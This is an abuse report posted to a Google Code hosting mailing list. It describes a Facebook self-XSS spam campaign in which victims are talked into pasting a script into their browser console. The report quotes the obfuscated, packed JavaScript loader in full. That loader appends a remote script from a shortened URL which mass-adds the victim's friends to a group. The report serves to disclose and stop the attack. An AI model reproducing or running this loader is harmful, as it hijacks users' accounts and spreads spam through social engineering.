Dear Sir/Madame,
I would like to report following Google Code project: 
https://proyectxx.googlecode.com
for abusing service, project is used just to host files that are used to create 
spam attacks on people using Facebook.

Scripts that are hosted on project are used to automatically add users to 
following Facebok group: https://www.facebook.com/groups/113034392196224/ 

Attacks are done via social engineering in which they use naive people to run 
following script in their Google Chrome browsers (via console):

eval(function(p,a,c,k,e,d){e=function(c){return 
c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return 
d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new 
RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return 
p}('0.3.2(0.1(\'4\')).5=\'8://7.6/9\';',10,10,'document|createElement|appendChild|body|script|src|gl|goo|https|VYbRL'.split('|'),0,{}))

which appends script that is located on following URL: http://goo.gl/VYbRL that 
links to the following file in project: 
https://proyectxx.googlecode.com/svn/trunk/MisE.js
When script is finally appended and ran it goes through list of all your 
friends and adds them to group. Script relies on the fact that friends believe 
that you added them personally and spreads even more using social engineering.

I would like to ask You to verify the stated facts and delete shortened URL and 
project itself in order to prevent spreading it even more. 

Thank You,
Sergej Jakovljev


-- 
You received this message because you are subscribed to the Google Groups 
"Project Hosting on Google Code" group.
To post to this group, send email to google-code-hosting@googlegroups.com.
To unsubscribe from this group, send email to 
google-code-hosting+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/google-code-hosting?hl=en.

Reply via email to